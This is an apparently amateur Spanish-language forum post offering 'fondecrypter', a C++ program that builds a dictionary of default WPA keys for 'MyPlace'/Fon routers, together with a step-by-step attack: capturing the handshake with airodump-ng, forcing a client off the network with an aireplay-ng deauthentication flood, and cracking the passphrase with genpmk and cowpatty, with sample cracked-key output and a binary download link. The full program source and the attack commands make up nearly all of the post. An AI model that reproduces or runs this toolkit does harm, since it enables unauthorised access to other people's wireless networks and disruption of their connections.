tarda unos 3 a 5 minutos en crear un diccionario de claves que ocupa unos 735MB..........
Claves generadas : 70000000
es todo experimental y inestable :

por si lo quereis probar.........
lo descargais ,le cambiais permisos y ejecutarlo y vereis el proceso........
aun esta por depurar y reducir el rango de claves,,,,,,,,,porque se necesita tiempo
DESCARGA:http://www.megaupload.com/?d=8XM4I0S3
REQUISITOS: - aircrack-ng
- cowpatty
- fondecrypter
* Capturar el handshake
# airodump-ng -w captura_MyPlace --bssid 00:18:84:1C:11:1D INTERFACE
Denegación de servicios DoS
# aireplay-ng -0 10 -a 00:18:84:1C:11:1D -c 00:11:50:11:22:33 INTERFACE
Repetir hasta conseguir handshake, necesario buena señal.
solamente cuando tengamos el handshake seguimos con el siguiente paso
* Generar el diccionario:
#chmod 777 fondecrypter
# ./fondecrypter
Nota.- Crea un archivo de texto keysfon.txt
* Generar el fichero:
# genpmk –f keysfon.txt –d fonera –s MyPlace
Opción -f: Diccionario.
Opción -d: Nombre del fichero de hash que se generará.
Opción -s: El Essid.
* Ejecución del ataque:
# cowpatty -r captura_MyPlace –d fonera –s MyPlace
Opción -r: Fichero *.cap donde capturamos el handshake con el airodump.
Opción -d: Nombre del fichero generado con la utilidad genpmk.
Opción -s: El Essid.
Collected all necessary data to mount crack against passphrase.
Starting dictionary attack. Please be patient.
key no. 100000: 8650001000
key no. 200000: 8650002000
The PSK is "8651023354".
3586552 passphrases tested in 50.24 seconds: 71385.42 passphrases/second
compilado con anjuta............fondecrypter.cpp
implementado con herramientas GNU
/*fondecrypter.cpp*/
/* FONDECRYPTER 0.2 por *dudux */
/* Programa implementado con herramientas y librerias GNU,,,,,,,, */
/* LIBRERIAS */
/***********************/
#include <iostream>
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <fstream> // para ficheros
//#include <libncurses.h>
//#include <conio.h> // para usar clrscr();
// espacio de trabajo........sino da error de cout scope.......
using namespace std;
/* PROGRAMA PRINCIPAL */
main()
{
/* DECLARACION DE VARIABLE */
char intro;
double inicio;
double fin ;
inicio = 640000000 ;
fin = 709999999 ;
int cont=0; // contador de claves
/* OPERACIONES CON FICHEROS */
ofstream keysfon ; // para fichero de salida
keysfon.open("keysfon.txt");
//clrscr() ; //limpieza de pantalla (clearscreen)
/* SALIDA POR PANTALLA */
cout << "";
cout << " FONdecrypter 0.2 beta" << endl;
cout << " ************************ " << endl;
cout << "Soy fondecrypter y genero un diccionario con las posibles claves por defecto" << endl ;
cout << "para las redes inalambricas del tipo `MyPlace` con cifrado WPA.........." << endl ;
cout << " 735 MB de diccionario, que te aproveche.... :-) " << endl ;
cout << ""<< endl;
cout << ""<< endl;
cout << ""<< endl;
cout << " * Capturar el handshake "<< endl;
cout << " ---------------------- "<< endl;
cout << " # airodump-ng -w captura_MyPlace --bssid 00:18:84:1C:11:1D INTERFACE"<< endl;
cout << "" << endl;
cout << " Denegacion de servicios DoS "<< endl;
cout << " # aireplay-ng -0 10 -a 00:18:84:1C:11:1D -c 00:11:50:11:22:33 INTERFACE "<< endl;
cout << "" << endl;
cout << " Repetir hasta conseguir handshake, necesario buena señal. "<< endl;
cout << " solamente cuando tengamos el handshake seguimos con el siguiente paso"<< endl;
cout << "" << endl;
cout << " * Generar el diccionario:"<< endl;
cout << " ---------------------- "<< endl;
cout << " # ./fondecrypter"<< endl;
cout << " Nota.- Crea un archivo de texto keysfon.txt"<< endl;
cout << "" << endl;
cout << " * Generar el fichero:"<< endl;
cout << " ---------------------- "<< endl;
cout << " # genpmk -f keysfon.txt -d fonera -s MyPlace"<< endl;
cout << " Opcion -f: Diccionario."<< endl;
cout << " Opcion -d: Nombre del fichero de hash que se generará."<< endl;
cout << " Opcion -s: El Essid."<< endl;
cout << ""<< endl;
cout << " * Ejecucion del ataque:"<< endl;
cout << " ---------------------- "<< endl;
cout << " # cowpatty -r captura_MyPlace -d fonera -s MyPlace"<< endl;
cout << " Opcion -r: Fichero *.cap donde capturamos el handshake con el airodump."<< endl;
cout << " Opcion -d: Nombre del fichero generado con la utilidad genpmk."<< endl;
cout << " Opcion -s: El Essid."<< endl;
cout << "" << endl;
cout << " Collected all necessary data to mount crack against passphrase."<< endl;
cout << " Starting dictionary attack. Please be patient."<< endl;
cout << " key no. 100000: 8640001000"<< endl;
cout << " key no. 200000: 8640002000"<< endl;
cout << " The PSK is 8651023452 "<< endl;
cout << " 3586552 passphrases tested in 50.24 seconds: 71385.42 passphrases/second"<< endl;
cout << ""<< endl;
cout << ""<< endl;
cout << "Tardo unos minutos aproximadamente................" << endl ;
// bucle generador de claves,,,,,,,
do {
inicio++;
cont++;
//cout << "Clave creada: " << cont << " Clave: " << long(inicio) << endl ;
keysfon << "8" << long(inicio) << endl; //escritura en keysfon.txt
}
while ( inicio <= fin );
cout << ""<< endl ;
cout << "Claves generadas : " << cont << endl ;
keysfon.close(); // cierre de fichero de texto
return 0;
}